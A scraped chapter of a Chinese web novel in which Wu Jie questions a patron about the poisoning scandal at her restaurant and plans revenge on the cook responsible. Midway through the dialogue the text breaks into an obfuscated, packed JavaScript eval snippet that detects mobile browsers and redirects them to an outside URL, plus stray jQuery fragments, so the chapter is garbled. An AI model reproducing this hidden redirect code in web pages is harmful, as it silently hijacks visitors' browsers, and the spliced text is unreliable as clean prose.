默认冷灰
24号文字
方正启体

11. 初步设局

作者:鹤不啻本书字数:K更新时间:
    “孙安安,你关心这个干啥?”


    孙无诀大大咧咧地回了一句,伸手抓起了摊子上的布帐,细细卷起。


    她没正面回答,孙安安也不气馁,只道:


    “你不跟我说,我也知道。那是乌姐姐新认识的好朋友吧,要不是乌姐姐忙着,肯定不会让你去招待。”


    小弟的语气很平淡,完全不见异样,且他素来对乌婕推崇备至,孙无诀早就听得习惯了。


    “不是好朋友,是个男的。”孙无诀随口说。


    孙安安回道:“男的怎么了?乌姐姐又不像你,见到个男人就走不动。”


    孙无诀“呵呵”一笑,故意阴阳怪气地说:“是啊,你姐姐见到个男人就走不动;但你乌姐姐不一样,马车里坐着的是人家未婚夫——未、婚、夫,现在知道了吗?”


    孙安安的身形一僵,手里死死攥着一块布巾,怒瞪了孙无诀一眼。


    孙无诀洒脱地一摊手,“你这么看着我也没用啊。乌婕要是真能看上你,这么些年过去,早就看上了。既然人家事定了,你以后也别想着了。”


    孙安安语气幽怨:“你都能看出来的事情,怎么乌姐姐就一直不懂我的心意呢?”


    孙无诀这下不乐意了:“喂,你这一天天的老拿我当垫子也不是事吧,我俩都是你姐姐,我还是亲的呢,亲的!”


    孙安安接着她的话说:“是啊,有时候我也发愁,为什么我的亲姐姐是你,不是乌姐姐?”


    孙无诀无情的大手降临在他的头顶,孙安安立刻求饶:“我胡说的,我胡说的!”


    他一面喊,一面迅速逃到了摊位的另一端。


    孙无诀故作气恼地盯了他一眼,回过身去,继续忙碌。


    但在心里,孙无诀大松了一口气,觉得自己先前实在是多虑了。


    孙安安在知道乌婕有未婚夫之后,看起来有点小醋,但整体还是挺平静的嘛。


    若真是对女方有意的小男子,断不会这么容易地将此事放过。


    弟弟以前爱黏着乌婕、念着乌婕,其实也就是把她当成了更亲近的姐姐。


    现在这个姐姐有了未婚夫,他自然会觉得不习惯,不舒服,但还不至于因此生妒。


    而且,孙无诀和原四卿接触这一天下来,很快就发觉出原四卿这人出身应当不俗。


    但他友善知礼,脾性温和,但凡是她提到的有关乌婕的话题,他总要十分关心地追问下去,倒也担得上乌婕的喜欢。


    等到孙安安见了他,知道他是个对乌婕好的,想必也会感到心安吧。


    孙无诀是如此想的,自然也觉得孙安安会是如此想的。


    弟弟现在还小,等他日后成了婚,想起自己从前不懂事的模样,哎呦喂——


    “不懂事”的孙安安站在孙无诀背后,面无表情。


    他一直看着那马车走上了他最熟悉的那条道,转过拐角消失之后,才默默收回视线,继续收碗碟、收凳子。


    ……


    乌婕心里既然有了主意,行动上自然不会怠慢。


    有关湖仁县和佳膳会的消息只能慢慢地打探,王彩瑚这个摆在眼前的仇人却跑不了。


    至于具体怎么去做?


    乌婕想,如果是要伪装成来“灭口”的幕后黑手去逼吓王彩瑚,那得仔细地布局一阵,争取不露破绽,一击即中;但张掌柜想的那个深夜扰人的法子却不必拖延,只需要安排几个跑得快、嘴巴严的,反复下手,绝对能叫王彩瑚有苦说不出!


    谨慎起见,乌婕还特意耽搁了几日。


    她翻出自己在唐家那边采购的特产礼物,往邻里亲友处分送一些,往旧日的熟客门上走了一趟,既是宣告风云楼新东家的归来,也接受她们的各种宽慰与建议。


    谈话中,乌婕适时表现出因为师丧而愁眉不展的样子,仿佛对风云楼目前的境况有些心灰意冷,准备带着张掌柜远走西边,另立门户。


    有几个出手阔绰的熟客同贺常璋交情不错,既有劝她留下的,也有表示理解的。


    更有一位十分大方的钱老板豪气干云地道:“孝丰镇还是太小了些,我早就劝过老贺往外打招牌,只是她不肯挪窝。如今这场面谁也没想过,但往好处想,何尝不是一个从头开始的机会?世侄女如此人品才能,何愁不能在旁处打开名声呢!若是盘缠不够,尽与我说便是!”


    乌婕连连称谢,面上仍带着忧色:“钱姨您阅历广,自然是能给我们这些小辈指明方向的。只是我想着,风云楼到底是贺师打下的基业,就这么抛下了一走了之,是不是……”


    钱老板耐心地指点她说:“你这就是想左了。咱们这些相熟的都知道老贺不是那等黑心人,但外人不信,硬把污水往你头上泼,你就站在那儿生受着?可这事究竟是风云楼理亏,若是老贺还在,想必也是不愿你在这里硬顶着遭委屈。亏得你回来,否则我看老张还得犟到底呢。既然要走,那便快走,最好是走得干净些。地契和房契,皆出手换了钱,去个好地方再作盘算罢。你如果找不着人接盘,我给你买下也省得!”


    这位钱老板当真是苦口婆心,讲情又讲理,可是乌婕却注意到了一处话头,冷不丁问道:“钱姨说这事是我风云楼理亏?我却不知道的。”


    钱老板眉头一挑,“怎么,你张姨不曾与你分说?”


    乌婕无比老实地说:“张姨道我年纪小,有些事不叫我沾手。我只知道楼里先前好像是出了事,东西吃坏了人的?但那总不该是我贺姨张姨想不开,对客人下手吧?我想这其中必是有什么误会的!”


    钱老板听了,忽而长吁短叹起来,对乌婕道:“你张姨是老资历了,终归比你想得周全,但你也是个成人,该担事的时候,就得担起来才是哪。先前那事,确实是你家的菜吃坏了人,惹事的是你家那个厨子,叫什么瑚的?官府倒是把坏厨子抓了,可是客人咽不下这口气,硬要和你家过不去,谁能拦了苦主不叫出气的?偏偏你家那些厨子个个也是不能共患难的,唉,正是老贺先前看走了眼。”


    哦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371159|199910||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……原来风云楼的这场风波传到了外头,竟生出这么一个版本吗?


    乌婕心中一动,表情顿时沮丧起来:“钱姨,可这事情谁能料想到呢。我家的食材从来都是顶顶好的,以往也没出过这样的事情。我听张姨说,已是给那客人好好赔礼道歉了,她一直抓着不放,莫不是嫌我们心意不诚?”


    钱老板只叫乌婕喝茶,口中道:“世侄女,听我一句劝,这桩事情,你就莫要再执拗下去了。我冷眼瞧着,那客人是外来的,背景恐怕不简单,是非得把你家店整倒了,才能出了气的。你看那地痞子一日日地上门,也就最近才消停些,多扰人呢?你略服一服软,先把店关了,叫她把这口气出了,走远了,再作计较……也未尝不可啊。”


    外地来的客人,生面孔的混混,这倒是都对上了。乌婕想。


    乌婕确认般问道:“只要她把气出了,再走远,也许我家这生意还有希望?”


    钱老板也不能咬实了口风,只默默点头,暗示自己确实是给乌婕出了一个“假装闭店服软,避过风头重来”的主意。


    如此听来,钱老板仿佛不是为着风云楼的地契,做劝她远走的说客来的,而像是真心想帮她们,觉得风云楼远走或留下皆可。


    乌婕暂时将自己心中“熟客圈子里是否也有推波助澜之人”的猜想按下。


    钱老板话中一片好情好意,然而她终归是站在局外的人,不知事情全貌。


    她以为那些上门的混混皆是遭了罪的客人雇佣来出气,但张掌柜却是亲自上门去致歉过,将客人好好送离了孝丰的地界,确认人家心中毫无芥蒂才作罢的。


    而且那群混混连假借条的把戏都拿出来了,独独没有打过“你家酒楼的菜吃坏了客人,该砸”的旗号。


    乌婕想,这大概是因为官府已将事盖章定论,罪魁祸首王彩瑚又是个好找的,若那些混混真是要为客人报仇,怎么也得打上王彩瑚家,而不是只对着风云楼下手。


    因此,混混们绝不能打着这个旗号,免得让张掌柜起疑,闹将出来。


    但这个“遭罪的客人忍不下气”的说法,能叫钱老板深信不疑,说明幕后黑手大约是往这个方向放过风的,免得有那仗义的人站出来,大力拉拔风云楼。


    毕竟那些心怀仗义的人,同样会认可快意恩仇的行事方式,也就不好对气愤难当且“背景惊人”的倒霉客人说什么。


    可是不管怎么说,纵然风云楼有失察之过,真有那害人之心、并且真的叫客人遭了罪的,明明是收钱的王彩瑚与那幕后黑手啊!


    乌婕立刻打定主意,回头折腾王彩瑚的时候,就往这个“客人报仇”的方向去演!


    她谦恭地别了钱老板,而后又去了孝丰镇的官衙,拿出少许银钱打点,重新翻看王彩瑚毒鱼案的卷宗,再憋屈而认命地离开。


    这是要坐实自己“先前对此事并不了解,如今了解后自认倒霉”的作态,让那有心人放松警惕。


    然后,再用一日,聚起人手,趁夜出发!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)